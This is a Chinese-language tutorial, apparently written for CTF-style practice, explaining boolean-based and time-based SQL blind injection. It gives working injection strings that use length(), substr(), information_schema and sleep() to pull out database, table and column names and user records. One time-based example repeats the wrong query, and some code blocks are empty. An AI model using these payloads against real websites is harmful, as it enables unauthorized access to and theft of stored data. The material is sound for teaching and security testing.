SQL盲注
SQL盲注
什么是SQL盲注
盲注是SQL注入的其中一种,是在SQL注入的基础上,根据根据SQL注入的回显不同来进行判断的
什么叫回显的不同,举个例子
1 | SELECT * FROM users WHERE id='$id' LIMIT 0,1 |
执行这个语句进行查询,如果你能看到查询到的数据,就叫做有回显,如果你没看到查询的具体信息,只告诉你查询成功等信息,甚至什么都不说,但是在这个过程中,SQL语句被执行了,SQL注入也发生了,只是我们拿不到注入的结果
那么遇到查不到详细信息的情况怎么办呢,就需要用到SQL盲注的知识,可以理解为一种爆破
比如他只告诉你查询成功和查询失败,那么你就可以这样去问
1 | 如果"数据库名"的第1个字母是a,你就说“查询成功”,否则就说“查询失败” |
这样通过不断的测试,从数据库名开始测试,到数据库表名,再到字段名,再到具体的数据,这样就可以成功进行SQL注入,查询到我们所需要的信息,而SQL查询结构是被WHERE
子句所控制的,所以攻击者一般就是对WHERE
子句进行构造
盲注的分类
总的来说,可以分成布尔盲注和时间盲注
布尔盲注
就是我们上面举例所说的,WEB应用只返回查询成功和查询失败,通过成功和失败进行判断是否查到了我们需要的信息
时间盲注
那如果遇到完全无回显的情况怎么办呢,连成功和失败都不告诉你,就需要用到时间盲注,通过响应的时长进行判断,如果满足xx条件,就sleep指定时间,否则就不sleep,这样只要看服务器是否延时响应即可进行判断
如何进行盲注
布尔盲注
一般情况下题目是不会给到具体的源码的,所以需要我们自己去猜测后端执行sql查询的命令是什么
查询语句的构造一般都是这样的
1 | select xx from xx where xx = '$id'; |
在这个语句中,只有$id是我们可控的,所以我们盲注的第一步,是要找到id这个注入点
然后,找到了注入点之后,就需要开始构造我们的查询语句了
我们首先猜测他的语句是这样
1 | SELECT xxx FROM xxx WHERE id='$id' |
之前我们讲过,要查询具体的数据,首先要知道数据库名
那我们先开始测试数据库名的长度
根据他给的语句我们可以进行如下构造
1 | SELECT xxx FROM xxx WHERE id='0' or length(database())>1 # |
在测试出数据库名的长度之后,我们就可以继续测试数据库的表名了
这里就需要用到一个叫做substr的函数了
这个函数的作用是截取字符串
substr(strings,m,n)
strings :被截取的字符串或字符串表达式
m 从第m个字符开始截取
n 截取后字符串长度为n
简单的说,就是substr(要截取的字符串,从哪一位开始截取,截取多长)
还有几种substr的替代品
比如mid()
,这个函数的用法和substr一样
right()
,right(截取的字符串,截取长度)
trim()
,TRIM([{BOTH | LEADING | TRAILING} [remstr] FROM str)表示移除str这个字符串首尾(BOTH)/句首(LEADING)/句尾(TRAILING)的remstr
然后我们再次尝试如下构造
1 | SELECT xxx FROM xxx WHERE id='0' or substr(database(),1,1)='a' # |
经过这样爆破,我们也可以知道数据库的库名了,接下来就是去找我们需要查的表名
我们需要先了解一下information_schema,这是一个存储数据库信息的数据库,里面存了Mysql服务器所维护的所有数据库的各类信息
我们一般只关注两张表:tables 和 columns
先查security数据库中第一个表名的长度
所以我们的构造如下
1 | SELECT xxx FROM xxx WHERE id='0' or (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6 # |
在查询出了表名长度之后,我们可以继续对表名进行爆破
1 | SELECT xxx FROM xxx WHERE id='0' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' # |
接下来就是字段名的爆破
1 | SELECT xxx FROM xxx WHERE id='0' or substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'# |
接下来就是针对字段名进行数据的爆破
1 | SELECT xxx FROM xxx WHERE id='0' or substr((select username from security.users limit 0,1),1,1)='D' # |
1 |
|
时间盲注
首先还是对数据库名的长度进行猜测
1 | SELECT xxx FROM xxx WHERE id='0' or if(length(database())=5 ,sleep(3),0) # |
再对数据库名进行猜测
1 | SELECT xxx FROM xxx WHERE id='0' or if((select substr(database(),1,1)) = 's' ,sleep(3),0) # |
对数据库表名长度进行猜测
1 | SELECT xxx FROM xxx WHERE id='0' or if((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6,sleep(3),0) # |
对数据库表名进行猜测
1 | SELECT xxx FROM xxx WHERE id='0' or if((select substr(database(),1,1)) = 's' ,sleep(3),0) # |
对数据库字段名进行猜测
1 | SELECT xxx FROM xxx WHERE id='0' or if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(3),0)# |
1 |
|